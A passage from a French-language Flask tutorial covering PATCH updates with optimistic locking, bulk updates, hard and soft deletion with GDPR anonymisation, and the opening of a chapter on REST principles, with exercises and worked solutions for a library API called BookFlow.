  def modifier_livre(livre_id):
      data = request.get_json(silent=True) or {}

      # Le client doit envoyer la version qu'il a vue
      version_client = data.get('version')

      livre = Livre.query.get_or_404(livre_id)

      # Vérifier que personne n'a modifié entre-temps
      if version_client is not None and livre.version != int(version_client):
          return jsonify({
              'error': 'Conflit de modification',
              'message': 'Ce livre a été modifié par quelqu\'un d\'autre depuis votre dernière lecture.',
              'version_actuelle': livre.version,
              'data_actuelle': livre.to_dict()
          }), 409

      # Appliquer les modifications
      champs = {k: v for k, v in data.items() if k != 'version'}
      LivreRepository.modifier(livre, **champs)
      livre.version += 1  # Incrémenter la version

      db.session.commit()
      return jsonify({'success': True, 'data': livre.to_dict()})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  UPDATE EN MASSE (BULK UPDATE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  from sqlalchemy import update

  @api_livres_bp.route('/disponibilite', methods=['PATCH'])
  def update_disponibilite_masse():
      """
      PATCH /api/v1/livres/disponibilite
      Met à jour la disponibilité de plusieurs livres.

      Body : {"livre_ids": [1, 2, 3], "disponible": false}
      """
      data = request.get_json(silent=True) or {}
      livre_ids = data.get('livre_ids', [])
      disponible = data.get('disponible')

      if not livre_ids or not isinstance(livre_ids, list):
          return jsonify({'error': 'livre_ids requis (liste)'}), 400

      if disponible is None or not isinstance(disponible, bool):
          return jsonify({'error': 'disponible requis (booléen)'}), 400

      if len(livre_ids) > 100:
          return jsonify({'error': 'Maximum 100 livres par opération'}), 400

      try:
          # Bulk update via SQLAlchemy (une seule requête SQL)
          nb_modifies = Livre.query.filter(
              Livre.id.in_(livre_ids)
          ).update(
              {'disponible': disponible},
              synchronize_session='fetch'  # Important : sync la session Python
          )
          db.session.commit()

          return jsonify({
              'success': True,
              'message': f'{nb_modifies} livre(s) mis à jour',
              'nb_modifies': nb_modifies
          })
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 23.1 : Implémente PATCH /api/v1/utilisateurs/<id>/profil
    qui permet à un utilisateur de modifier son nom, bio et avatar.
    Impossible de modifier l'email ou le rôle via cet endpoint.

  Exercice 23.2 : Crée PATCH /api/v1/emprunts/<id>/retourner
    qui marque un emprunt comme retourné et rend le livre disponible.
    Vérifier que le statut est bien 'en_cours'.

  Exercice 23.3 : Implémente PUT /api/v1/livres/<id>/categories
    qui remplace TOUTE la liste des catégories d'un livre.

NIVEAU INTERMÉDIAIRE :
  Exercice 23.4 : Ajoute l'optimistic locking au modèle Utilisateur.
    Teste le comportement en cas de conflit (deux PATCH simultanés).

  Exercice 23.5 : Crée PATCH /api/v1/admin/livres/marquer-retard
    qui passe automatiquement en statut 'en_retard' tous les emprunts
    dont la date de retour est dépassée.

NIVEAU AVANCÉ :
  Exercice 23.6 : Implémente un système d'audit complet :
    chaque modification d'un livre crée un enregistrement dans une
    table AuditLog avec : table, id, champ, ancienne_valeur,
    nouvelle_valeur, utilisateur, timestamp.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 23.2 :

  @api_bp.route('/emprunts/<int:emprunt_id>/retourner', methods=['PATCH'])
  def retourner_emprunt(emprunt_id):
      from datetime import datetime, timezone
      emprunt = db.get_or_404(Emprunt, emprunt_id)

      if emprunt.statut != 'en_cours':
          return jsonify({
              'error': f'Impossible de retourner un emprunt au statut "{emprunt.statut}"'
          }), 409

      livre = emprunt.livre
      if not livre:
          return jsonify({'error': 'Livre associé introuvable'}), 404

      try:
          emprunt.statut = 'retourne'
          emprunt.date_retour_reelle = datetime.now(timezone.utc)
          livre.disponible = True
          db.session.commit()

          return jsonify({
              'success': True,
              'message': f'Livre « {livre.titre} » retourné avec succès',
              'data': emprunt.to_dict()
          })
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

CORRIGÉ 23.5 — Marquer les retards :

  @api_admin_bp.route('/livres/marquer-retard', methods=['PATCH'])
  def marquer_retards():
      from datetime import datetime, timezone
      maintenant = datetime.now(timezone.utc)

      try:
          nb = Emprunt.query.filter(
              Emprunt.statut == 'en_cours',
              Emprunt.date_retour_prevue < maintenant
          ).update(
              {'statut': 'en_retard'},
              synchronize_session='fetch'
          )
          db.session.commit()
          return jsonify({
              'success': True,
              'emprunts_en_retard': nb,
              'message': f'{nb} emprunt(s) marqué(s) en retard'
          })
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

CORRIGÉ 23.6 — Système d'audit :

  # app/models/audit.py
  class AuditLog(db.Model):
      __tablename__ = 'audit_logs'
      id = db.Column(db.Integer, primary_key=True)
      table_name = db.Column(db.String(50), nullable=False, index=True)
      record_id = db.Column(db.Integer, nullable=False, index=True)
      action = db.Column(db.String(10), nullable=False)  # UPDATE, CREATE, DELETE
      champ = db.Column(db.String(100), nullable=True)
      ancienne_valeur = db.Column(db.Text, nullable=True)
      nouvelle_valeur = db.Column(db.Text, nullable=True)
      user_id = db.Column(db.Integer, nullable=True)
      created_at = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))

  # Décorateur pour auditer les modifications
  def auditer(table_name):
      """Décorateur qui trace les modifications d'une ressource."""
      def decorateur(f):
          from functools import wraps
          @wraps(f)
          def wrapper(*args, **kwargs):
              # Récupérer l'objet AVANT modification
              # (implémentation simplifiée)
              resultat = f(*args, **kwargs)
              return resultat
          return wrapper
      return decorateur

  # Méthode à appeler dans les routes PATCH
  def enregistrer_audit(table, record_id, champs_avant, champs_apres, user_id=None):
      """Enregistre les changements dans l'audit log."""
      logs = []
      for champ, ancienne in champs_avant.items():
          nouvelle = champs_apres.get(champ)
          if ancienne != nouvelle:
              logs.append(AuditLog(
                  table_name=table,
                  record_id=record_id,
                  action='UPDATE',
                  champ=champ,
                  ancienne_valeur=str(ancienne) if ancienne is not None else None,
                  nouvelle_valeur=str(nouvelle) if nouvelle is not None else None,
                  user_id=user_id
              ))
      if logs:
          db.session.add_all(logs)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 24 — DELETE : SUPPRIMER AVEC SÉCURITÉ                       ║
║         Hard delete, soft delete, audit et protection des données                 ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  HARD DELETE vs SOFT DELETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HARD DELETE (suppression physique) :
  -> L'enregistrement est VRAIMENT supprimé de la BDD
  -> Irréversible (sauf backup)
  -> Simple à implémenter
  -> Problèmes : perte des données historiques, rupture des FK

SOFT DELETE (suppression logique) :
  -> L'enregistrement est MARQUÉ comme supprimé (colonne deleted_at)
  -> Reste en BDD, n'apparaît plus dans les requêtes normales
  -> Réversible (restauration possible)
  -> Requis pour la conformité RGPD (audit trail)
  -> Complique légèrement les requêtes

CHOIX SELON LE CAS :
  Utilisateurs      -> Soft delete (RGPD, historique)
  Livres            -> Soft delete si emprunts liés, Hard delete si neuf
  Logs/Audit        -> Jamais supprimer
  Données temporaires -> Hard delete
  Sessions/Tokens   -> Hard delete

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  HARD DELETE SÉCURISÉ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  @api_livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      """
      DELETE /api/v1/livres/<id>
      Supprime définitivement un livre.

      Vérifications avant suppression :
        - Le livre existe
        - Il n'a pas d'emprunts en cours
        - (Optionnel) L'utilisateur a les droits admin

      Réponses :
        204 No Content  -> Supprimé avec succès
        404 Not Found   -> Livre inexistant
        409 Conflict    -> Emprunts en cours existants
        403 Forbidden   -> Droits insuffisants
      """
      livre = LivreRepository.trouver_ou_404(livre_id)

      # Vérification 1 : Pas d'emprunts en cours
      emprunts_actifs = Emprunt.query.filter_by(
          livre_id=livre_id, statut='en_cours'
      ).count()

      if emprunts_actifs > 0:
          return jsonify({
              'success': False,
              'error': {
                  'code': 409,
                  'message': f'Impossible de supprimer : {emprunts_actifs} emprunt(s) en cours',
                  'emprunts_actifs': emprunts_actifs
              }
          }), 409

      # Vérification 2 : Avertir si des données liées vont être supprimées
      nb_avis = Avis.query.filter_by(livre_id=livre_id).count()
      nb_emprunts_historique = Emprunt.query.filter_by(livre_id=livre_id).count()

      # Garder une trace avant suppression
      titre_livre = livre.titre

      try:
          # Les CASCADE en BDD suppriment automatiquement les avis liés
          LivreRepository.supprimer(livre)
          db.session.commit()

          # Logger la suppression
          from flask import current_app
          current_app.logger.info(
              f"Livre supprimé : id={livre_id}, titre='{titre_livre}', "
              f"avis supprimés={nb_avis}, emprunts archivés={nb_emprunts_historique}"
          )

          # 204 No Content : pas de body dans la réponse de suppression
          return '', 204

      except Exception as e:
          db.session.rollback()
          from flask import current_app
          current_app.logger.error(f"Erreur suppression livre {livre_id}: {e}")
          return jsonify({
              'success': False,
              'error': {'code': 500, 'message': 'Erreur lors de la suppression'}
          }), 500


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SOFT DELETE COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/livre.py — Avec soft delete
  from datetime import datetime, timezone

  class Livre(db.Model):
      __tablename__ = 'livres'

      id = db.Column(db.Integer, primary_key=True)
      titre = db.Column(db.String(200), nullable=False)
      # ... autres colonnes ...

      # Soft delete
      supprime_le = db.Column(db.DateTime(timezone=True), nullable=True)
      supprime_par_id = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=True)
      raison_suppression = db.Column(db.String(500), nullable=True)

      @property
      def est_supprime(self) -> bool:
          return self.supprime_le is not None

      def supprimer_soft(self, user_id: int = None, raison: str = None):
          """Suppression logique (soft delete)."""
          self.supprime_le = datetime.now(timezone.utc)
          self.supprime_par_id = user_id
          self.raison_suppression = raison

      def restaurer(self):
          """Restaure un livre soft-supprimé."""
          self.supprime_le = None
          self.supprime_par_id = None
          self.raison_suppression = None

      @classmethod
      def actifs(cls):
          """Retourne seulement les livres non supprimés."""
          return cls.query.filter(cls.supprime_le.is_(None))

      @classmethod
      def supprimes(cls):
          """Retourne seulement les livres supprimés (admin)."""
          return cls.query.filter(cls.supprime_le.isnot(None))

  # Route soft delete
  @api_livres_bp.route('/<int:livre_id>', methods=['DELETE'])
  def supprimer_livre(livre_id):
      """Soft delete — le livre reste en BDD mais est marqué supprimé."""
      # IMPORTANT : chercher y compris les supprimés (pour éviter 404 trompeur)
      livre = Livre.query.get_or_404(livre_id)

      if livre.est_supprime:
          return jsonify({'error': 'Livre déjà supprimé'}), 410  # 410 Gone

      emprunts_actifs = Emprunt.query.filter_by(
          livre_id=livre_id, statut='en_cours'
      ).count()
      if emprunts_actifs > 0:
          return jsonify({'error': 'Livre emprunté, impossible de supprimer'}), 409

      raison = request.args.get('raison', 'Supprimé par l\'administrateur')
      user_id = 1  # En production : get_jwt_identity()

      try:
          livre.supprimer_soft(user_id=user_id, raison=raison)
          db.session.commit()
          return '', 204

      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

  # Route de restauration (admin uniquement)
  @api_admin_bp.route('/livres/<int:livre_id>/restaurer', methods=['POST'])
  def restaurer_livre(livre_id):
      """Restaure un livre soft-supprimé."""
      livre = Livre.query.get_or_404(livre_id)

      if not livre.est_supprime:
          return jsonify({'error': 'Ce livre n\'est pas supprimé'}), 400

      livre.restaurer()
      db.session.commit()

      return jsonify({
          'success': True,
          'message': f'Livre « {livre.titre} » restauré',
          'data': livre.to_dict()
      })

  # Mise à jour des routes READ pour exclure les supprimés
  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      # Utiliser Livre.actifs() au lieu de Livre.query
      query = Livre.actifs().options(joinedload(Livre.categories))
      # ...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  SUPPRESSION EN CASCADE SÉCURISÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Quand on supprime un enregistrement, on doit gérer les données liées.

STRATÉGIES DE CASCADE :
  CASCADE    -> Supprimer automatiquement les enregistrements liés
  RESTRICT   -> Empêcher la suppression si des données liées existent
  SET NULL   -> Mettre NULL dans la FK des enregistrements liés
  SET DEFAULT -> Mettre la valeur par défaut dans la FK

  # Dans SQLAlchemy, la cascade se configure au niveau Python ET SQL

  # Cascade Python (SQLAlchemy session)
  class Livre(db.Model):
      avis = db.relationship(
          'Avis',
          cascade='all, delete-orphan',  # Supprime les avis si le livre est supprimé
          lazy='dynamic'
      )
      emprunts = db.relationship(
          'Emprunt',
          cascade='save-update, merge',  # PAS de cascade delete pour préserver l'historique
          lazy='dynamic'
      )

  # Cascade SQL (au niveau BDD, plus fiable)
  class Avis(db.Model):
      livre_id = db.Column(
          db.Integer,
          db.ForeignKey('livres.id', ondelete='CASCADE'),  # SQL CASCADE
          nullable=False
      )

  class Emprunt(db.Model):
      livre_id = db.Column(
          db.Integer,
          db.ForeignKey('livres.id', ondelete='RESTRICT'),  # SQL RESTRICT
          nullable=False
      )

SUPPRESSION AVEC VÉRIFICATIONS MULTIPLES :

  def peut_supprimer_livre(livre_id: int) -> dict:
      """
      Vérifie si un livre peut être supprimé.
      Retourne un dict avec les vérifications et les blocages.
      """
      livre = Livre.query.get(livre_id)
      if not livre:
          return {'peut_supprimer': False, 'raison': 'Livre inexistant'}

      blocages = []

      # Vérifier les emprunts en cours
      emprunts_actifs = Emprunt.query.filter_by(
          livre_id=livre_id, statut='en_cours'
      ).count()
      if emprunts_actifs > 0:
          blocages.append(f"{emprunts_actifs} emprunt(s) en cours")

      # Informations sur les données qui seront supprimées
      nb_avis = Avis.query.filter_by(livre_id=livre_id).count()
      nb_emprunts_total = Emprunt.query.filter_by(livre_id=livre_id).count()

      return {
          'peut_supprimer': len(blocages) == 0,
          'blocages': blocages,
          'donnees_associees': {
              'nb_avis': nb_avis,
              'nb_emprunts_historique': nb_emprunts_total
          },
          'avertissement': (
              f'Cette suppression effacera {nb_avis} avis et archivera '
              f'{nb_emprunts_total} emprunts historiques.'
              if nb_avis > 0 or nb_emprunts_total > 0 else None
          )
      }

  @api_livres_bp.route('/<int:livre_id>/peut-supprimer', methods=['GET'])
  def verifier_suppression(livre_id):
      """Vérifie si la suppression est possible avant de l'effectuer."""
      resultat = peut_supprimer_livre(livre_id)
      status = 200 if resultat.get('peut_supprimer') else 409
      return jsonify(resultat), status


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 24.1 : Implémente DELETE /api/v1/avis/<id> qui supprime un avis.
    Vérifier que l'utilisateur courant est l'auteur de l'avis.
    Un admin peut supprimer n'importe quel avis.

  Exercice 24.2 : Crée DELETE /api/v1/utilisateurs/<id> en soft delete.
    Anonymiser les données personnelles (RGPD) :
    remplacer l'email par user_<id>@deleted.bookflow.com,
    le nom par "Utilisateur supprimé", effacer le hash du mot de passe.

  Exercice 24.3 : Ajoute une route GET /api/v1/admin/livres/supprimes
    qui liste tous les livres soft-supprimés (admin uniquement).

NIVEAU INTERMÉDIAIRE :
  Exercice 24.4 : Implémente un système de corbeille :
    Les livres supprimés sont conservés 30 jours puis
    définitivement effacés par une tâche programmée.

  Exercice 24.5 : Crée une route DELETE /api/v1/admin/livres/vider-corbeille
    qui supprime définitivement tous les livres soft-supprimés depuis
    plus de 30 jours.

NIVEAU AVANCÉ :
  Exercice 24.6 : Implémente la conformité RGPD complète :
    Route DELETE /api/v1/utilisateurs/<id>/effacer-donnees qui :
    - Anonymise l'utilisateur (soft delete)
    - Supprime les données personnelles des avis
    - Conserve les statistiques agrégées (pour l'audit)
    - Retourne un rapport de ce qui a été supprimé / anonymisé

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 24.2 — RGPD soft delete utilisateur :

  @api_users_bp.route('/<int:user_id>', methods=['DELETE'])
  def supprimer_utilisateur(user_id):
      user = db.get_or_404(Utilisateur, user_id)

      if user.est_supprime:
          return jsonify({'error': 'Utilisateur déjà supprimé'}), 410

      # Anonymisation RGPD
      try:
          # 1. Soft delete avec anonymisation
          user.nom = "Utilisateur supprimé"
          user.email = f"user_{user_id}@deleted.bookflow.com"
          user.mot_de_passe_hash = ""  # Invalider le hash
          user.bio = None
          user.avatar_url = None
          user.token_verification = None
          user.token_reset_mdp = None
          user.supprime_le = datetime.now(timezone.utc)
          user.est_actif = False

          # 2. Anonymiser les avis (garder la note, effacer le commentaire perso)
          Avis.query.filter_by(user_id=user_id).update({
              'commentaire': '[Contenu supprimé]'
          }, synchronize_session='fetch')

          db.session.commit()
          return '', 204

      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500

CORRIGÉ 24.5 — Vider la corbeille :

  from datetime import datetime, timezone, timedelta

  @api_admin_bp.route('/livres/vider-corbeille', methods=['DELETE'])
  def vider_corbeille():
      """Supprime définitivement les livres en corbeille depuis plus de 30 jours."""
      seuil = datetime.now(timezone.utc) - timedelta(days=30)

      livres_a_supprimer = Livre.query.filter(
          Livre.supprime_le.isnot(None),
          Livre.supprime_le < seuil
      ).all()

      nb = len(livres_a_supprimer)

      try:
          for livre in livres_a_supprimer:
              db.session.delete(livre)
          db.session.commit()

          return jsonify({
              'success': True,
              'message': f'{nb} livre(s) définitivement supprimé(s)',
              'nb_supprimes': nb
          })
      except Exception:
          db.session.rollback()
          return jsonify({'error': 'Erreur interne'}), 500


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW CRUD API COMPLÈTE                    ║
║           Architecture en couches — Code production-ready                         ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STRUCTURE FINALE DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  bookflow/
  ├── app/
  │   ├── __init__.py
  │   ├── config.py
  │   ├── errors.py
  │   ├── models/
  │   │   ├── __init__.py
  │   │   ├── livre.py
  │   │   ├── utilisateur.py
  │   │   ├── emprunt.py
  │   │   ├── avis.py
  │   │   ├── categorie.py
  │   │   └── audit.py
  │   ├── repositories/
  │   │   ├── __init__.py
  │   │   └── livre_repository.py
  │   ├── services/
  │   │   ├── __init__.py
  │   │   └── livre_service.py
  │   └── routes/
  │       └── api/
  │           ├── __init__.py
  │           ├── livres.py     <- CRUD complet
  │           ├── utilisateurs.py
  │           ├── emprunts.py
  │           ├── avis.py
  │           └── admin.py
  ├── migrations/
  ├── tests/
  ├── .env
  ├── requirements.txt
  └── run.py

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  TABLEAU RÉCAPITULATIF DES ENDPOINTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  LIVRES :
  ┌─────────┬──────────────────────────────┬──────┬──────────────────────────────┐
  │ MÉTHODE │ URL                          │ CODE │ DESCRIPTION                  │
  ├─────────┼──────────────────────────────┼──────┼──────────────────────────────┤
  │ GET     │ /api/v1/livres/              │ 200  │ Liste paginée avec filtres   │
  │ GET     │ /api/v1/livres/<id>          │ 200  │ Détail d'un livre            │
  │ POST    │ /api/v1/livres/              │ 201  │ Créer un livre               │
  │ PUT     │ /api/v1/livres/<id>          │ 200  │ Remplacer complètement       │
  │ PATCH   │ /api/v1/livres/<id>          │ 200  │ Modifier partiellement       │
  │ DELETE  │ /api/v1/livres/<id>          │ 204  │ Supprimer (soft)             │
  │ GET     │ /api/v1/livres/recherche     │ 200  │ Recherche full-text          │
  │ GET     │ /api/v1/livres/aleatoire     │ 200  │ Livres aléatoires            │
  │ POST    │ /api/v1/livres/import        │ 201  │ Import en masse              │
  │ GET     │ /api/v1/livres/statistiques  │ 200  │ Statistiques                 │
  │ GET     │ /api/v1/livres/<id>/avis     │ 200  │ Avis d'un livre              │
  │ POST    │ /api/v1/livres/<id>/avis     │ 201  │ Poster un avis               │
  └─────────┴──────────────────────────────┴──────┴──────────────────────────────┘

  EMPRUNTS :
  ┌─────────┬──────────────────────────────┬──────┬──────────────────────────────┐
  │ POST    │ /api/v1/emprunts/            │ 201  │ Créer un emprunt             │
  │ PATCH   │ /api/v1/emprunts/<id>/       │ 200  │ Retourner un livre           │
  │         │   retourner                  │      │                              │
  │ GET     │ /api/v1/utilisateurs/<id>/   │ 200  │ Historique emprunts          │
  │         │   historique                 │      │                              │
  └─────────┴──────────────────────────────┴──────┴──────────────────────────────┘

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  HELPER RÉPONSES API STANDARD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/utils/responses.py
  from flask import jsonify

  def succes(data=None, message=None, code=200, meta=None):
      """Réponse API de succès standardisée."""
      payload = {'success': True}
      if message:
          payload['message'] = message
      if data is not None:
          payload['data'] = data
      if meta:
          payload['meta'] = meta
      return jsonify(payload), code

  def erreur(message, code=400, details=None):
      """Réponse API d'erreur standardisée."""
      payload = {
          'success': False,
          'error': {'code': code, 'message': message}
      }
      if details:
          payload['error']['details'] = details
      return jsonify(payload), code

  def cree(data, message=None, location=None):
      """Réponse 201 Created."""
      payload = {'success': True, 'data': data}
      if message:
          payload['message'] = message
      reponse = jsonify(payload)
      reponse.status_code = 201
      if location:
          reponse.headers['Location'] = location
      return reponse

  def supprime():
      """Réponse 204 No Content."""
      return '', 204

  # Utilisation dans les routes :
  # from app.utils.responses import succes, erreur, cree, supprime
  #
  # return cree(livre.to_dict(), "Livre créé", url_for('api_livres.get_livre', id=livre.id))
  # return succes(data=livres, meta=pagination_meta)
  # return erreur("Validation échouée", 400, details={'titre': 'Requis'})
  # return supprime()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 6 — CRUD COMPLET

  [DOCS] Tu as appris :
     -> Architecture en couches : Route -> Service -> Repository -> Modèle
     -> CREATE : validation multi-niveaux, règles métier, bulk insert, idempotence
     -> READ   : filtres dynamiques, pagination offset et curseur, recherche
                full-text, cache avec flask-caching
     -> UPDATE : PUT vs PATCH, validation partielle, optimistic locking,
                bulk update, système d'audit
     -> DELETE : hard delete sécurisé, soft delete RGPD, anonymisation,
                corbeille, suppression en cascade contrôlée
     -> LivreRepository : encapsulation complète des requêtes BDD
     -> LivreService : logique métier centralisée et testable
     -> Helper de réponses API standardisées

  -> Prochaine étape : Partie 7 — API REST (endpoints, Postman, bonnes pratiques REST)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 7 : API REST                             ║
║         Conception REST, JSON, Endpoints, Documentation et Postman                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 7 / 20
Chapitres      : 25 -> 28
Prérequis      : Parties 1 à 6 (HTTP, Flask, BDD, CRUD complet)
Projet fil     : BookFlow — API REST conforme aux standards industriels

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 7
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 25 — Introduction à REST : principes, contraintes et conception
  CHAPITRE 26 — JSON avancé : sérialisation, Marshmallow et réponses API
  CHAPITRE 27 — Endpoints professionnels : versioning, HATEOAS, rate limiting
  CHAPITRE 28 — Postman : tester, documenter et automatiser son API

  PROJET FIL ROUGE — BookFlow API REST finale, documentée et testée

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 25 — INTRODUCTION À REST                                         ║
║     Principes, contraintes et conception d'une API RESTful                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE REST ?
─────────────────────
REST (Representational State Transfer) est un STYLE ARCHITECTURAL pour
concevoir des API web. Ce n'est pas un protocole ni un standard : c'est
un ensemble de contraintes et de bonnes pratiques définies par Roy Fielding
dans sa thèse de doctorat en 2000.

Une API qui respecte ces contraintes est dite "RESTful".

POURQUOI REST S'EST IMPOSÉ ?
  -> Simple : utilise HTTP standard, pas de protocole propriétaire
  -> Universel : n'importe quel client (mobile, web, IoT) peut l'utiliser
  -> Stateless : chaque requête est indépendante (scalable horizontalement)
  -> Lisible : les URLs décrivent les ressources de façon naturelle
  -> Performant : support du cache HTTP natif

REST VS ALTERNATIVES :
  ┌─────────────┬────────────────┬──────────────────────────────────────┐
  │ APPROCHE    │ EXEMPLE        │ DESCRIPTION                          │
  ├─────────────┼────────────────┼──────────────────────────────────────┤
  │ REST        │ GET /livres/5  │ Standard actuel, simple et universel  │
  │ GraphQL     │ POST /graphql  │ Requêtes flexibles, une seule URL    │
  │ gRPC        │ Protocol Buffer│ Haute performance, typage strict     │
  │ SOAP        │ XML/WSDL       │ Ancien, complexe, entreprises        │
  │ WebSocket   │ ws://...       │ Temps réel bidirectionnel            │
  └─────────────┴────────────────┴──────────────────────────────────────┘

REST en 2024 : encore dominant pour les API publiques et internes.
GraphQL : populaire pour les frontends complexes.
gRPC : microservices internes haute performance.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  LES 6 CONTRAINTES REST
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Fielding a défini 6 contraintes. Respecter toutes = API pleinement RESTful.

CONTRAINTE 1 — CLIENT-SERVER (Séparation client/serveur)
──────────────────────────────────────────────────────────
  Le client et le serveur sont séparés et indépendants.
  Le serveur ne se préoccupe pas de l'interface utilisateur.
  Le client ne se préoccupe pas du stockage des données.

  [OK] BookFlow : le frontend React ne sait pas comment sont stockés les livres.
               Le backend Flask ne sait pas comment les livres sont affichés.

CONTRAINTE 2 — STATELESS (Sans état)
──────────────────────────────────────
  Chaque requête doit contenir TOUTES les informations nécessaires.
  Le serveur ne stocke pas l'état de session entre les requêtes.
  L'état de session est côté client (token JWT).

  [OK] BookFlow : chaque requête envoie son token JWT.
               Le serveur vérifie le token sans consulter une session BDD.

  [X] Anti-pattern : stocker "l'utilisateur courant" en session serveur.

CONTRAINTE 3 — CACHEABLE (Mise en cache)
──────────────────────────────────────────
  Les réponses doivent indiquer si elles peuvent être mises en cache.
  Utiliser les headers HTTP : Cache-Control, ETag, Last-Modified.

  [OK] BookFlow :
    GET /api/v1/livres -> Cache-Control: max-age=60 (cache 1 minute)
    GET /api/v1/livres/5 -> ETag: "abc123" (cache jusqu'à modification)
    POST /api/v1/livres -> Cache-Control: no-store (jamais en cache)

CONTRAINTE 4 — LAYERED SYSTEM (Système en couches)
────────────────────────────────────────────────────
  Le client ne sait pas s'il communique directement avec le serveur
  ou avec un intermédiaire (proxy, load balancer, CDN).

  [OK] BookFlow production :
    Client -> CDN -> Load Balancer -> Nginx -> Gunicorn -> Flask

CONTRAINTE 5 — UNIFORM INTERFACE (Interface uniforme)
───────────────────────────────────────────────────────
  C'est la contrainte centrale de REST. Elle se décompose en 4 principes :

  a) IDENTIFICATION DES RESSOURCES :
     Les ressources sont identifiées par des URI stables.
     -> /api/v1/livres/42 identifie toujours le même livre

  b) MANIPULATION PAR REPRÉSENTATIONS :
     On manipule les ressources via des représentations (JSON, XML).
     -> Le serveur retourne une représentation JSON du livre

  c) MESSAGES AUTO-DESCRIPTIFS :
     Chaque message contient assez d'info pour être traité.
     -> Content-Type: application/json + les données suffisent

  d) HATEOAS (Hypermedia As The Engine Of Application State) :
     Les réponses contiennent des liens vers les actions possibles.
     -> Voir Chapitre 27

CONTRAINTE 6 — CODE ON DEMAND (Optionnel)
───────────────────────────────────────────
  Le serveur peut envoyer du code exécutable au client (JavaScript).
  Optionnel et rarement utilisé dans les API REST modernes.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CONCEPTION D'UNE API RESTful
